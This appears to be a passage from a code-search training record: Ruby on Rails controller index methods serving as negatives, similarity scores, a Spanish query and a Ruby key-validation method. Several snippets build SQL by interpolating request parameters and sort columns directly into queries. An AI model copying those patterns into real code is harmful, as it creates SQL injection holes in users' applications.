:per_page => 30).includes(:author).order(sort_column + \" \" + sort_direction)\n end", "def index\n add_breadcrumb 'Search'\n @search_fors = SearchFor.all\n @pagy, @search_fors = pagy(SearchFor.all.order(\"created_at DESC\"))\n end", "def index\n @archivos = Archivo.all\n @archivos = Archivo.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 5, :page => params[:page])\n end", "def list\n find = params[:find].blank? ? 0 : params[:find].to_i\n keyword = params[:keyword].blank? ? '' : params[:keyword]\n pgnum = params[:pgnum].blank? ? 1 : params[:pgnum].to_i\n pgsize = params[:pgsize].blank? ? 0 : params[:pgsize].to_i\n sortcolumn = params[:sortcolumn].blank? ? DesignationHelper::DEFAULT_SORT_COLUMN \n : params[:sortcolumn]\n sortdir = params[:sortdir].blank? ? DesignationHelper::DEFAULT_SORT_DIR : \n params[:sortdir]\n \n sort = ApplicationHelper::Sort.new(sortcolumn, sortdir)\n \n if find == 0 && keyword.blank?\n @data = DesignationHelper.get_all(pgnum, pgsize, sort)\n \n else\n @data = DesignationHelper.get_filter_by(find, keyword, pgnum, pgsize, sort)\n end\n \n respond_to do |fmt|\n fmt.html { render :partial => 'list' }\n fmt.json { render :json => @data }\n end\n end", "def index\n @search = Department.metasearch(params[:search])\n @departments = @search.order(sort_column + \" \" + sort_direction).paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @departments }\n end\n end", "def index\n with = {}\n sort_mode = params[:sorting].blank? ? \"@relevance DESC\" : \"#{params[:sorting]} DESC\"\n search_string = params[:search].blank? ? \"\" : params[:search]\n with[:tags] = params[:tags] if params[:tags]\n @knowledges = Knowledge.search search_string, :with => with, :page => params[:page], :per_page => 42, :order => sort_mode\n @facets = Knowledge.facets search_string, :with => with\n @tags = @facets[:tags].map{|t| t[0] unless t[0] == 0 }.compact.uniq\n @selected_tags = params[:tags] || []\n @count = @knowledges.count\n @sort_mode = case params[:sorting]\n when \"@relevance\" then \"pertinence\"\n when \"created_at\" then \"date de création\"\n when \"cached_votes_score\" then \"score\"\n else \"\"\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @knowledges }\n end\n end", "def index\n @chronicles = current_user.library.chronicles.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page => params[:page])\n\n #respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @chronicles }\n #end\n end", "def index\r\n if session[:search_query].blank?\r\n @posts = Post.all.order(\"created_at DESC\").page(params[:page])\r\n\r\n else\r\n st = \"%#{session[:search_query]}%\"\r\n @posts = Post.where(\"spot_name like ?\", st).order(\"created_at DESC\").page(params[:page])\r\n end\r\n @requests = Post.where(service_type: 'request').order(\"created_at DESC\").page(params[:page_1]).per(5)\r\n @provides = Post.where(service_type: 'provide').order(\"created_at DESC\").page(params[:page_2]).per(5)\r\n end", "def index\n @tags = tags_for('Common')\n\n # To redirect to the index with the current search params\n set_redirect_address(request.original_fullpath, @type)\n\n # If there is meta param, it's allowed filtering by meta_attributes\n # the format is:\n # key1:value1,key2:value2\n # key1, ... (if you only search for invoices having key1 no matter value)\n if params[:meta]\n conditions = []\n params[:meta].split(',').each do |condition_string|\n condition_list = condition_string.split ':'\n if condition_list.length == 1\n conditions.push(\"meta_attributes::text ilike '%#{condition_list[0]}%'\")\n elsif condition_list.length == 2\n conditions.push(\"meta_attributes->>'#{condition_list[0]}'='#{condition_list[1]}'\")\n end\n end\n @results = @results.where(conditions.join(\" and \"))\n end\n\n set_listing @results.paginate(page: params[:page], per_page: 20)\n\n respond_to do |format|\n format.html { render sti_template(@type, action_name), layout: 'infinite-scrolling' }\n format.csv do\n set_csv_headers(\"#{@type.underscore.downcase.pluralize}.csv\")\n self.response_body = model.csv @results\n response.status = 200\n end\n end\n end", "def index\n if params[:q]\n @q = params[:q].downcase\n @apolices = Apolice.where(\"page IS NULL and lower(nome_segurado) like '%#{@q}%' OR lower(apartamento) like '%#{@q}%'\").page(params[:page]).per(10).order(\"id DESC\")\n else\n @apolices = Apolice.where(\"page IS NULL and (ramo IS NOT NULL and produto IS NOT NULL and apolice IS NOT NULL)\").page(params[:page]).per(10).order(\"id DESC\")\n end\n end", "def index \n @page = Page.new\n\n if params[:search] == nil\n\n @calendars = @page.sort_page_model({\n :model_name => \"Calendar\",\n :sort_by => 'date', \n :sort_order => 'DESC', \n :conditions => ['available = ? and (user_id = ? or (for_public = ?))', \n true, session[:user_id], true],\n :page_no => params[:page_no]\n })\n\n else\n\n @calendars = @page.search_sort_page_model({\n :model_name => \"Calendar\",\n :search_by => ['note'],\n :search_value => params[:search],\n :sort_by => 'date', \n :sort_order => 'DESC',\n :conditions => ['available = ? and (user_id = ? or (for_public = ?))', \n true, session[:user_id], true],\n :page_no => params[:page_no]\n })\n\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @calendars }\n end\n end", "def index\n\t\t# Creation of the search object and search do\n if params[:filter]\n params[:by] = \"#{params[:filter][:field]}-#{params[:filter][:way]}\"\n params[:per_page] = \"#{params[:filter][:limit]}\".to_i\n end\n\t\t@search = Search.new(setting_searching_params(:from_params => params))#.advance_search_fields\n\t\t@paginated_objects = @current_objects = @search.do_search\n\t\t# Definition of the template to use to retrieve information\n\t\tif @search.category == 'user' || @search.category == 'workspace'\n\t\t\t@templatee = \"#{@search.category.pluralize}/index\"\n\t\telse\n \t@templatee = \"generic_for_items/index\"\n\t\tend\n\t\t@ajax_url = request.path\n\t\t# Management of the response depending of the request type\n\t\tif !request.xhr?\n\t\t\trespond_to do |format|\n\t \t\t\tformat.html { render :template => \"admin/searches/index.html.erb\" }\n\t\t\t\tformat.xml { render :xml => @paginated_objects }\n\t\t\t\tformat.json { render :json => @paginated_objects }\n\t\t\t\tformat.atom { render :template => \"#{@templatee}.atom.builder\", :layout => false }\n\t\t\tend\n\t\telse\n @no_div = true\n\t\t\trender :partial => @templatee, :layout => false\n\t\tend\n end", "def index\n @products = Product.all.page(params[:page]).per(12)\n # .result(distinct: true)\n\n if params[:q].present?\n # 検索フォームからアクセスした時の処理\n @serch = Product.ransack(params[:q])\n @products = @serch.result(distinct: true).page(params[:page]).per(12)\n else\n # 検索フォーム以外からアクセスした時の処理\n params[:q] = { sorts: 'id desc' }\n @serch = Product.ransack(params[:sorts])\n @products = Product.all.page(params[:page]).per(12)\n end\n end", "def index\n @totalReg = Fraction.all.count\n\n @limit = params.has_key?(:limit) ? params[:limit].to_i : 10\n @page = params.has_key?(:page) ? params[:page].to_i : 1\n\n @status = 200\n @msg = \"ok\"\n\n @totalPage = @totalReg / @limit + (@totalReg % @limit != 0 ? 1 : 0)\n\n @start = ((@page-1) * @limit) +1\n \n\n @sortDirection = params.has_key?(:sortDirection) && params[:sortDirection] == 'ascending' ? 'ASC' : 'DESC'\n @sortBy = params.has_key?(:sortBy) ? params[:sortBy] : 'name'\n @findBy = params.has_key?(:findBy) ? params[:findBy] : 'name'\n\n\n if !params.has_key?(:limit) && !params.has_key?(:page) && !params.has_key?(:findQuery)\n @fractions = Fraction.first(@limit)\n #raise @providers.size.to_yaml\n @end = Fraction.page(@page).last_page? ? @start + @fractions.size - 1 : @start + @limit -1\n return\n end\n \n @fractions = Fraction.order(\"#{@sortBy} #{@sortDirection}\").page(@page).per(@limit)\n\n if params[:findBy] || params[:findQuery]\n @fractions = Fraction.where(\"#{@findBy} like ?\", \"%#{params[:findQuery]}%\").order(\"#{@sortBy} #{@sortDirection}\").page(@page).per(@limit)\n @totalReg = @fractions.count\n @totalPage = @totalReg / @limit + (@totalReg % @limit != 0 ? 1 : 0)\n @start = ((@page-1) * @limit) +1\n #raise @provider.to_yaml\n end\n @end = Fraction.page(@page).last_page? ? @start + @fractions.size - 1 : @start + @limit -1\n end", "def index\n\n # gather data for pull down lists\n @collections = Collection.select_list\n @periods = Period.select_list\n @genres = Subject.genres.where(['subject_translations.locale=?', :en.to_s]).order('subject_translations.name')\n \n @page = params[:page] || 1\n @per_page = params[:per_page] || Item.per_page || 100\n\n @sort_field = params[:c] ||= 'items.id'\n @order = sort_order('items.id') unless @sort_field == 'title_en' || @sort_field == 'title_fa'\n\n # look for filters\n @keyword_filter = params[:keyword_filter] unless params[:keyword_filter] == I18n.translate(:search_prompt)\n @collection_filter = params[:collection_filter]\n @period_filter = params[:period_filter]\n @genre_filter = params[:genre_filter]\n\n # unless @keyword_filter.nil? && @collection_filter.nil? && period_filer.nil? && subject_type_filter.nil?\n\n @query_hash = { :conditions => [], :parameters => { } }\n @query_hash = build_collection_query(@collection_filter, @query_hash) unless @collection_filter.nil? || @collection_filter == 'all'\n @query_hash = build_period_query(@period_filter, @query_hash) unless @period_filter.nil? || @period_filter == 'all'\n # @query_hash = build_person_query(@person_filter, @query_hash) unless @person_filter.nil? || @person_filter == 'all'\n # @query_hash = build_subject_query(@subject_filter, @query_hash) unless @subject_filter.nil? || @subject_filter == 'all'\n # @query_hash = build_place_query(@place_filter, @query_hash) unless @place_filter.nil? || @place_filter == 'all'\n @query_hash = build_genre_query(@genre_filter, @query_hash) unless @genre_filter.nil? || @genre_filter == 'all'\n @query_hash = build_keyword_query(@keyword_filter, @query_hash) unless @keyword_filter.blank? || @keyword_filter == I18n.translate(:search_prompt)\n\n # assemble the query from the two sql injection safe parts\n @query_conditions = ''\n @query_hash[:conditions].each do |condition|\n @query_conditions += (@query_conditions.blank? ? '': ' AND ') + condition\n end\n\n @query = [@query_conditions, @query_hash[:parameters]]\n\n @items = Item.where(@query).order(@order)\n\n @items = sort_bilingual(@items, params[:c], params[:d]) if [\"title_en\", \"title_fa\"].include?params[:c]\n\n #cache the current search set in a session variable\n session[:current_items] = @items.map { |i| i.id }\n session[:items_sort_field] = params[:c]\n session[:items_direction] = params[:d]\n session[:items_order] = @order\n\n @items_full_set = @items\n @items = @items.paginate :per_page => @per_page, :page => @page, :order => @order\n\n #cache the current search set in a session variable\n session[:admin_items_index_url] = request.fullpath\n\n respond_to do |format|\n format.html # index.html.erb\n format.csv do\n csv_string = make_custom_csv(@items_full_set)\n # send it to the browsah\n send_data csv_string,\n :type => 'text/csv; charset=utf-8; header=present',\n :disposition => \"attachment; filename=items.csv\"\n end\n format.xml { render :xml => @items_full_set }\n end\n end", "def index\n if params[:search]\n @items = Item.all.order(id: :desc).page(params[:page]).per(20).where(\"(name_item LIKE ?) OR (maker LIKE ?)\", \"%#{params[:search]}%\", \"%#{params[:search]}%\")\n else\n @items = Item.all.order(id: :desc).page(params[:page]).per(20)\n end\n end", "def index\n @transplices = Transplice.all\n @search = Transplice.ransack(params[:q])\n @sp = @search.result\n @spr = @sp.paginate(:page => params[:page],:per_page => 100)\n end", "def index\n @totalReg = ProofSale.all.count\n\n @limit = params.has_key?(:limit) ? params[:limit].to_i : 10\n @page = params.has_key?(:page) ? params[:page].to_i : 1\n\n @status = 200\n @msg = \"ok\"\n\n @totalPage = @totalReg / @limit + (@totalReg % @limit != 0 ? 1 : 0)\n\n @start = ((@page-1) * @limit) +1\n \n\n @sortDirection = params.has_key?(:sortDirection) && params[:sortDirection] == 'ascending' ? 'ASC' : 'DESC'\n @sortBy = params.has_key?(:sortBy) ? params[:sortBy] : 'name'\n @findBy = params.has_key?(:findBy) ? params[:findBy] : 'name'\n\n\n if !params.has_key?(:limit) && !params.has_key?(:page) && !params.has_key?(:findQuery)\n @proof_sales = ProofSale.first(@limit)\n #raise @providers.size.to_yaml\n @end = ProofSale.page(@page).last_page? ? @start + @proof_sales.size - 1 : @start + @limit -1\n return\n end\n \n @proof_sales = ProofSale.order(\"#{@sortBy} #{@sortDirection}\").page(@page).per(@limit)\n\n if params[:findBy] || params[:findQuery]\n @proof_sales = ProofSale.where(\"#{@findBy} like ?\", \"%#{params[:findQuery]}%\").order(\"#{@sortBy} #{@sortDirection}\").page(@page).per(@limit)\n @totalReg = @proof_sales.count\n @totalPage = @totalReg / @limit + (@totalReg % @limit != 0 ? 1 : 0)\n @start = ((@page-1) * @limit) +1\n #raise @provider.to_yaml\n end\n @end = ProofSale.page(@page).last_page? ? @start + @proof_sales.size - 1 : @start + @limit -1\n end", "def index\n #@products = Product.all\n @search = Product.ransack(params[:q]) #используется gem ransack для поиска и сортировки\n @search.sorts = 'id asc' if @search.sorts.empty? # сортировка таблицы по алфавиту по умолчанию \n \n @products = @search.result.paginate(page: params[:page], per_page: 50)\n @allproducts = Product.all #where(\"title IS NOT NULL\").order(:id).limit(10000)\n respond_to do |format|\n format.html\n format.csv do\n headers['Content-Disposition'] = \"attachment; filename=\\\"product.csv\\\"\"\n headers['Content-Type'] ||= 'text/csv'\n end\n format.json\n end \n end", "def index\n sort = case params[:sort]\n when \"title\" then \"title\"\n when \"theme\" then \"theme\"\n when \"start_date\" then \"start_date\"\n when \"number_of_days\" then \"number_of_days\"\n when \"title_reverse\" then \"title DESC\"\n when \"theme_reverse\" then \"theme DESC\"\n when \"start_date_reverse\" then \"start_date DESC\"\n when \"number_of_days_reverse\" then \"number_of_days DESC\"\n else \"title\"\n end\n \n @sprints = Sprint.find :all, :order => sort\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :partial => \"sprints_list\", :layout => false }\n end\n end", "def index\n\n @articles = Article.all\n @articles = @articles.where('name LIKE ?', '%'+params[:nom]+'%') if !params[:nom].blank?\n @articles = @articles.where('reference LIKE ?', '%'+params[:ref]+'%') if !params[:ref].blank?\n @articles = @articles.page(params[:page])\n\n end", "def index\n @users = User.order(sort_column + \" \" + sort_diection).search(params[:search]).paginate(:per_page => 20, :page => params[:page])\n\n end", "def index\n # convert the sorting title to the corresponding database column name\n column_name = Title_To_Column_Name[params[:sort]]\n # default to order by event timestamp\n column_name = \"timestamp\" if column_name.nil?\n # determine the order by clause\n order_by = column_name + \" \" + sort_direction\n \n # determine the search clause based on the search param\n if (params[:id_search] && !params[:id_search].empty?)\n #TODO sanitize the search param since we are now using direct sql.\n search_clause = \"p.id like '#{params[:id_search]}' or s.name like '#{params[:id_search]}'\" \n sql = SQL.gsub(\"search_clause\", search_clause)\n sql = sql.gsub(\"order_by\", order_by) \n else\n names = \n case params[:activity_search]\n when 'submitted'\n \"('submit')\"\n when 'rejected'\n \"('reject','daitss v.1 reject')\" \n when 'archived'\n \"('ingest finished')\"\n when 'disseminated'\n \"('disseminate finished')\"\n when 'error'\n \"('ingest snafu', 'disseminate snafu', 'refresh snafus')\"\n when 'withdrawn'\n \"('withdraw finished')\"\n else\n \"('submit', 'reject', 'ingest finished', 'disseminate finished', 'ingest snafu', 'disseminate snafu', 'withdraw finished', 'daitss v.1 provenance')\"\n end\n # filter on date range\n @start_date = if params[:start_time_search] and !params[:start_time_search].strip.empty?\n DateTime.strptime(params[:start_time_search], \"%Y-%m-%d\")\n else\n Time.at 0\n end\n\n @end_date = if params[:end_time_search] and !params[:end_time_search].strip.empty?\n DateTime.strptime(params[:end_time_search], \"%Y-%m-%d\")\n else\n DateTime.now\n end\n\n @end_date += 1\n # lookup account if passed in\n if (params[:account] && params[:account][\"account_id\"] && !params[:account][\"account_id\"].empty?)\n account = params[:account][\"account_id\"]\n end\n \n # lookup project if passed in\n if (params[:project] && params[:project] [\"project_id\"] && !params[:project][\"project_id\"].empty?)\n # account and project specified\n project = params[:project][\"project_id\"] if account\n end\n \n if account\n if project\n # account and project specified\n search_clause = \"pj.account_id = '#{account}' and pj.id = '#{project}' and \"\n else\n # account but not project specified\n search_clause = \"pj.account_id = '#{account}' and \"\n end\n else \n # neither account nor project specified\n search_clause = \"\" \n end\n search_clause += \"e.timestamp between '#{@start_date}' and '#{@end_date}' and e.name in #{names}\" \n sql = SQL.gsub(\"search_clause\", search_clause)\n sql = sql.gsub(\"order_by\", order_by) \n end\n @results = DataMapper.repository(:default).adapter.select(sql).paginate(page: params[:page])\n end", "def index\n #@samplings = Sampling.all\n @title = \"List of samplings\"\n\n #samplings = Sampling.find(:all, :joins=> [:sampling_equipments, :partner, :sampling_site]) do\n #samplings = Sampling.find(:all, :joins=> [:partner, :sampling_site]) do\n # if params[:_search] == \"true\"\n # volume =~ \"%#{params[:volume]}%\" if params[:volume].present?\n # code =~ \"%#{params[:code]}%\" if params[:code].present?\n # sampling_site.name =~ \"%#{params[:site_name]}%\" if params[:site_name].present?\n # sampling_site.code =~ \"%#{params[:site_name]}%\" if params[:site_name].present?\n # partner.code =~ \"%#{params[:partner_name]}%\" if params[:partner_name].present?\n # #KAPPAO because it done an AND operator between ID and CODE\n # #partner.id =~ \"%#{params[:partner_name]}%\" if params[:partner_name].present?\n # sampling_equipment.name =~ \"%#{params[:sampling_equipment_name]}%\" if params[:sampling_equipment_name].present?\n # end\n #paginate :page => params[:page], :per_page => params[:rows] \n # if params[:sidx] == \"site_name\"\n # order_by \"sampling_sites.name #{params[:sord]}, sampling_sites.code #{params[:sord]}\"\n #\n # elsif params[:sidx] == \"partner_name\"\n # order_by \"partners.code #{params[:sord]}\"\n # elsif params[:sidx] == \"code\"\n # order_by \"samplings.code #{params[:sord]}\"\n # elsif params[:sidx] == \"sampling_equipment_name\"\n # order_by \"sampling_equipments.name #{params[:sord]}\"\n # else\n # order_by \"#{params[:sidx]} #{params[:sord]}\"\n # end\n #end\n\n #respond_to do |format|\n # format.html # index.html.erbs directly,\n # #format.xml { render :xml => @samplings }\n # format.json { render :json => samplings.to_jqgrid_json(\n # [:id, \"act\",:code,:site_name,:volume,\"partner_name\", \"sampling_equipment_name\",\"edit\"],\n # params[:page], params[:rows], samplings.total_entries) }\t\t\t\n #end\n\n\n index_columns ||= [:id, :act,:code,:site_name,:volume, :partner_name,:sampling_equipment_name,:edit]\n current_page = params[:page] ? params[:page].to_i : 1\n rows_per_page = params[:rows] ? params[:rows].to_i : 10\n conditions={:page => current_page, :per_page => rows_per_page}\n conditions[:order] = params[\"sidx\"] + \" \" + params[\"sord\"] unless (params[:sidx].blank? || params[:sord].blank?)\n \n if params[:_search] == \"true\"\n conditions[:conditions]=filter_by_conditions(index_columns)\n end\n \n #@fs = FilterSample.all(:conditions => ['sampling_id = ?', @sampling.id ])\n @samplings=Sampling.paginate(conditions)\n total_entries=@samplings.total_entries\n \n respond_with(@samplings) do |format|\n format.json { render :json => @samplings.to_jqgrid_json(index_columns, current_page, rows_per_page, total_entries)} \n end\n end", "def index\n if params[:page].nil?\n # ページ繰り以外\n @searched = Hash.new()\n session[:searched] = @searched\n if params[:commit].nil?\n @searched[:month] = Date.today.month\n else\n # 検索ボタン押下時:画面入力された条件のセッションへの保存\n params[:search].each do | key, value |\n @searched.store(key.to_sym, value)\n end\n end\n else\n # ページ繰り時:検索条件のセッションからの取り出し\n @searched = session[:searched]\n end \n unless params[:month].nil?\n @searched[:month] = params[:month]\n end \n unless params[:e_bmn_id].nil?\n @searched[:e_bmn_id] = params[:e_bmn_id]\n end \n unless params[:e_shain_id].nil?\n @searched[:e_shain_id] = params[:e_shain_id]\n end \n\n @uriys = Uriy.joins(:anken)\n # まずは月を指示\n @uriys = @uriys.where(:month => @searched[:month])\n\n # 検索条件が指定されていれば、抽出条件としてwhere句を追加\n # 社員\n unless @searched.fetch(:e_shain_id, nil).blank?\n @uriys = @uriys.where('ankens.e_shain_id = ?', @searched.fetch(:e_shain_id))\n end\n \n # 部門\n if !(@searched.fetch(:e_bmn_id, nil).blank?)\n @uriys = @uriys.where('ankens.e_bmn_id = ?', @searched.fetch(:e_bmn_id))\n end\n # ページングを指示\n @uriys = @uriys.paginate(:page => params[:page], :order => 'month', :per_page => 20)\n\n @bmns = Bmn.order(:code) \n @shains = Shain.order(:code)\n\n end", "def index\n __log_activity\n __debug_route\n prm = paginator.initial_parameters\n @extended = prm.key?(:expand) ? true?(prm.delete(:expand)) : EXPAND_JSON\n search = prm.delete(:like) # TODO: :like param\n search = search ? build_query_options(search) : {}\n results =\n if @extended\n SearchCall.extended_table(search)\n else\n get_search_calls(search)\n end\n results.limit!(prm[:limit]) if prm[:limit] # TODO: temporary\n results.offset!(prm[:offset]) if prm[:offset] # TODO: temporary\n found = { list: results.to_a }\n @list = paginator.finalize(found, **search)\n respond_to do |format|\n format.html\n format.json { render_json index_values }\n format.xml { render_xml index_values }\n end\n end", "def index\n @estados = Basico::Estado.search(params[:page], params[:search], params[:sort])\n\n end", "def index\n per_page = 10\n\torder = params[:sort] || \"time\"\n\tsort_direction = case params[:sort_direction]\n\t\t\t\t\t\twhen \"up\" then \"ASC\"\n\t\t\t\t\t\twhen \"down\" then \"DESC\"\n\t\t\t\t\t\telse \"DESC\"\n\t\t\t\t\t\tend\n\n\t@search_opts = {'sort' => \"time\", 'sort_direction' => \"down\" }.merge params\n\topts = { page: params[:page], per_page: per_page }\n\n\tif params[:sort] == \"companies.name\"\n\t\topts.merge!( { joins: \"LEFT OUTER JOIN companies ON companies.id = indrel_events.company_id\" } )\n\telsif params[:sort] == \"locations.name\"\n\t\topts.merge!( { joins: \"LEFT OUTER JOIN locations ON locations.id = indrel_events.location_id\" } )\n\telsif params[:sort] == \"indrel_event_types.name\"\n\t\topts.merge!( { joins: \"LEFT OUTER JOIN indrel_event_types ON indrel_event_types.id = indrel_events.indrel_event_type_id\" } )\n\tend\n @events = IndrelEvent.order(\"#{order} #{sort_direction}\").paginate opts\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @events }\n format.js {\n render partial: 'list'\n }\n end\n end", "def index\n param_page = params[:page] rescue 1\n per_page = PAGINATION\n\n param = params[:param].to_s rescue ''\n tipe = params[:tipe]\n\n #@mapping_data_obats = MappingDataObat.all.paginate :per_page => per_page, :page => param_page\n\n if params[:tipe]\n if tipe == \"kode_rs\"\n field = \"kode_rs LIKE ?\"\n elsif tipe == \"kode_ejkbm\"\n field = \"kode_ejkbm LIKE ?\"\n else\n end\n @mapping_data_obats = MappingDataObat.where(\"#{field} \", \"%\"+param+\"%\").paginate :per_page => per_page, :page => param_page\n else\n @mapping_data_obats = MappingDataObat.all.paginate :per_page => per_page, :page => param_page\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mapping_data_obats }\n format.js\n end\n end", "def index \n # set the default value for the clear button \n params[:clear] = \"\" unless params[:clear]\n params[:sort] = \"last_name_asc\" unless params[:sort]\n #params[:filter] = {} unless params[:filter]\n \n # save the model names for use by the views (filter & sort)\n @plural_model_name = 'users'\n @model_name = 'user'\n @act_restful = true\n \n # sanatize the display param.\n params[:display] = sanitize_display(params[:display])\n\n # sanatize the sort params\n @sort_col, @sort_dir, model_name, @orig_col_name = sanitize_sort(params[:sort], '', @plural_model_name)\n \n # sanatize the filter params\n params[:filter] = nil if params[:clear].downcase == \"clear\" # if the user clicked on the 'clear' toss the filter params to the bit bucket.\n conditions = HashWithIndifferentAccess.new\n conditions.merge!(logged_in? ? {:is_active => 1} : {:show_personal_info => 1, :is_active => 1}) # the built in filter.\n conditions = params[:filter].merge!(conditions) if params[:filter]\n \n @filter = sanitize_filter(conditions)\n \n # create the params for the find method\n find_params = {:per_page => params[:display].to_i}\n \n # we need to remove the single quotes so the order works with included tables.\n # because rails alises all of the columns to generated names i.e. t0_r0, t0_r1\n find_params.merge!({:order => ActiveRecord::Base.send(:sanitize_sql, [\" #{model_name}.? #{@sort_dir}\", @sort_col]).delete(\"'\")}) if @sort_col\n find_params.merge!({:conditions => @filter}) if @filter\n find_params.merge!({:include => :discipline })\n\n # do the search\n @user_pages, @user_data = paginate :users, find_params\n \n # take care of rendeing if the user wants us to.\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @user_data.to_xml }\n format.text { render :text => data_text(false) }\n format.csv { render :text => data_text }\n end \n end", "def index\n per_page = params[:per_page].blank? ? \"10\" : params[:per_page]\n order = params[:order].blank? || params[:orderDirect].blank? ? \"solicitations.id asc\" : \"solicitations.#{params[:order]} #{params[:orderDirect]}\"\n conditions = [\"name like ?\",\"%#{params[:search]}%\"] unless params[:search].blank?\n @solicitations = @representative.solicitations.paginate :include => [:customer], :page => params[:page], :per_page => per_page, :order => order, :conditions => conditions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @solicitations }\n end\n end", "def index\n #session[:params] = {} unless session[:params]\n #session[:params][:patron] = params\n # 最近追加されたパトロン\n #@query = params[:query] ||= \"[* TO *]\"\n query = params[:query].to_s.strip\n @query = query.dup\n query = query.gsub(' ', ' ')\n order = nil\n @count = {}\n\n search = Sunspot.new_search(Patron)\n set_role_query(current_user, search)\n\n if params[:mode] == 'recent'\n query = \"#{query} created_at_d:[NOW-1MONTH TO NOW]\"\n end\n unless query.blank?\n search.build do\n fulltext query\n end\n end\n unless params[:mode] == 'add'\n user = @user\n work = @work\n expression = @expression\n manifestation = @manifestation\n patron = @patron\n patron_merge_list = @patron_merge_list\n search.build do\n with(:user).equal_to user.username if user\n with(:work_ids).equal_to work.id if work\n with(:expression_ids).equal_to expression.id if expression\n with(:manifestation_ids).equal_to manifestation.id if manifestation\n with(:original_patron_ids).equal_to patron.id if patron\n with(:patron_merge_list_ids).equal_to patron_merge_list.id if patron_merge_list\n end\n end\n\n role = current_user.try(:role) || Role.find('Guest')\n search.build do\n with(:required_role_id).less_than_or_equal_to role.id\n end\n\n page = params[:page] || 1\n search.query.paginate(page.to_i, Patron.default_per_page)\n @patrons = search.execute!.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @patrons }\n format.rss { render :layout => false }\n format.atom\n format.json { render :json => @patrons }\n end\n end", "def index\n # @publications = Publication.all\n @publications = Publication.find(:all, :conditions => ['archived = ?', false])\n @per_page = params[:per_page] || 5\n\n if(params[:search]).blank?\n @publications = Publication.paginate(:page => params[:page], :per_page => @per_page, :order => 'title', :conditions => ['archived = ?', false])\n @export = Publication.find(:all, :order => 'title', :conditions => ['archived = ?', false])\n else\n # changes for thinking sphinx\n @publications = Publication.search params[:search], \n :page => params[:page], \n :per_page => @per_page, \n :match_mode => :boolean,\n :field_weights => {\n :title => 20,\n :keyword_name => 10,\n :variable_name => 5\n }\n @export = Publication.search params[:search],\n :match_mode => :boolean,\n :field_weights => {\n :title => 20,\n :keyword_name => 10,\n :variable_name => 5\n }\n end \n\n # No match for your search criteria \n if @publications.empty?\n flash[:error] = \"No publications matched your search criteria.\"\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @publications }\n format.csv { send_data Publication.to_csv(@export) }\n format.xls { send_data Publication.to_csv(@export, \n {col_sep: \"\\t\", encoding: \"UTF-8\" } ) } \n end\n end", "def index\n @search = SupplierPayment.search(params[:search])\n @supplier_payments = @search.order('supplier_payment_date DESC, created_at DESC').all.uniq.paginate(:page => params[:page], :per_page => 20)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @supplier_payments }\n end\n end" ]
[ "0.78921735", "0.76565874", "0.7613753", "0.75392514", "0.7531622", "0.745609", "0.745091", "0.73973113", "0.7369869", "0.73608994", "0.73571634", "0.7345369", "0.7328837", "0.7310315", "0.7306687", "0.7290449", "0.7284465", "0.72500384", "0.7230329", "0.72302294", "0.7222449", "0.72099555", "0.720707", "0.7203353", "0.7200801", "0.71860546", "0.7181955", "0.71557343", "0.7152386", "0.71508396", "0.71498", "0.71420056", "0.7136249", "0.7131481", "0.7126629", "0.71228004", "0.71215594", "0.71205133", "0.71133703", "0.70943624", "0.7092033", "0.70904046", "0.7088265", "0.7086265", "0.7082123", "0.70795316", "0.7073725", "0.7073022", "0.7068833", "0.7068189", "0.70669657", "0.7060745", "0.7059751", "0.70564944", "0.7055916", "0.7049259", "0.7049158", "0.7047681", "0.7042648", "0.7041223", "0.7032315", "0.7029093", "0.7026207", "0.70231426", "0.70112807", "0.70028657", "0.6995724", "0.6991798", "0.69900954", "0.69880587", "0.6982422", "0.6977937", "0.6976231", "0.69732964", "0.69719553", "0.6968355", "0.69621485", "0.69606084", "0.695845", "0.69566417", "0.69539464", "0.69514126", "0.69474626", "0.69458014", "0.6943314", "0.6940699", "0.6940567", "0.69404477", "0.69386816", "0.69340736", "0.6933648", "0.6928945", "0.6927148", "0.6926349", "0.6926203", "0.69250566", "0.6925044", "0.69245946", "0.6923549", "0.691626" ]
0.715414
28
Valida que uns cadena enviado y una clave encriptada sean iguales cuando la cadena se encripta
def clave_valida?(cadena, clave) # la clave recibida debería ser una instancia de bcrypt, por lo tanto # implementa la comparación con == clave == cadena end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def validate\n encrypt\n end", "def esClaveValida(clave)\n\tcadena_clave = clave.to_s\n\tmedio_clave = (cadena_clave[1]).to_i + (cadena_clave[2].to_i)\n\treturn medio_clave.even?\nend", "def debe_ser_encarcelado\n if is_encarcelado\n return false\n else\n if !tiene_salvoconducto\n return true\n else\n perder_salvoconducto\n Diario.instance.ocurre_evento(\"El jugador se libra de la cárcel\")\n return false\n end\n end\n end", "def valida_usuario(correo, clave)\n data = Usuario.find_by(correo: correo, estado: ACTIVO, validado: VALIDADO)\n if data.blank?\n data1 = Usuario.find_by(correo: correo, estado: ACTIVO)\n if data1.blank? != true\n return [false, 'El usuario no ha sido validado, hágalo desde el mensaje que llego a su correo electrónico']\n else\n return [false, 'No existe usuario con ese correo electrónico']\n end\n else\n psw = data[:psw]\n clave_ing = crypttext(clave)\n res = psw <=> clave_ing\n if res == 0\n return [true, data]\n else\n return [false, 'contraseña incorrecta']\n end\n end\n end", "def validate_key_bytes(key_bytes); end", "def verify_key; end", "def verify_key; end", "def verify_server_key(key); end", "def validar_usuario(usuario_ingresado,clave_ingresada)\n usuario = buscar_usuario(usuario_ingresado)\n if @encriptador.validar_claves(usuario.clave_de_usuario,clave_ingresada)\n usuario\n else\n raise ClaveIncorrecta\n end\n end", "def splunk_encrypted?(key)\n !key.nil? && 